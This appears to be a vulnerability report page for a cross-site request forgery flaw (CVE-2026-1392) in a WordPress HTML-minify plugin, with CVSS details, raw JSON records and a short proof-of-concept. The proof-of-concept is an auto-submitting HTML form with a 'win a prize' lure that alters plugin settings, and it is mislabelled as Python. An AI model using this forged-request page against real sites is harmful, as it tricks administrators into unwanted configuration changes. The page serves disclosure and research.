Security Vulnerability Report
中文
CVE-2026-1392 CVSS 4.3 MEDIUM

CVE-2026-1392

Published: 2026-03-21 04:16:53
Last Modified: 2026-04-22 21:32:08

Description

The SR WP Minify HTML plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.1. This is due to missing nonce validation on the sr_minify_html_theme() function. This makes it possible for unauthenticated attackers to update plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

SR WP Minify HTML <= 2.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-1392 CSRF Vulnerability --> <!-- This HTML page attempts to update plugin settings via forged request --> <html> <body> <form action="http://target-site/wp-admin/admin.php?page=sr_minify_html_theme" method="POST"> <input type="hidden" name="sr_minify_html_option" value="malicious_configuration_value" /> <input type="submit" value="Click me to win a prize" /> </form> <script> // Auto-submit the form to simulate the attack without user interaction on the submit button document.forms[0].submit(); </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1392", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:16:53.193", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The SR WP Minify HTML plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.1. This is due to missing nonce validation on the sr_minify_html_theme() function. This makes it possible for unauthenticated attackers to update plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}, {"lang": "es", "value": "El plugin SR WP Minify HTML para WordPress es vulnerable a la falsificación de petición en sitios cruzados en todas las versiones hasta la 2.1, inclusive. Esto se debe a la falta de validación de nonce en la función sr_minify_html_theme(). Esto hace posible que atacantes no autenticados actualicen la configuración del plugin a través de una petición falsificada, siempre que puedan engañar a un administrador del sitio para que realice una acción como hacer clic en un enlace."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/sr-wp-minify-html/tags/2.1/class.php#L33", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/sr-wp-minify-html/trunk/class.php#L33", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/728aa62d-4853-4f55-9b77-82dfa6525b8a?source=cve", "source": "[email protected]"}]}}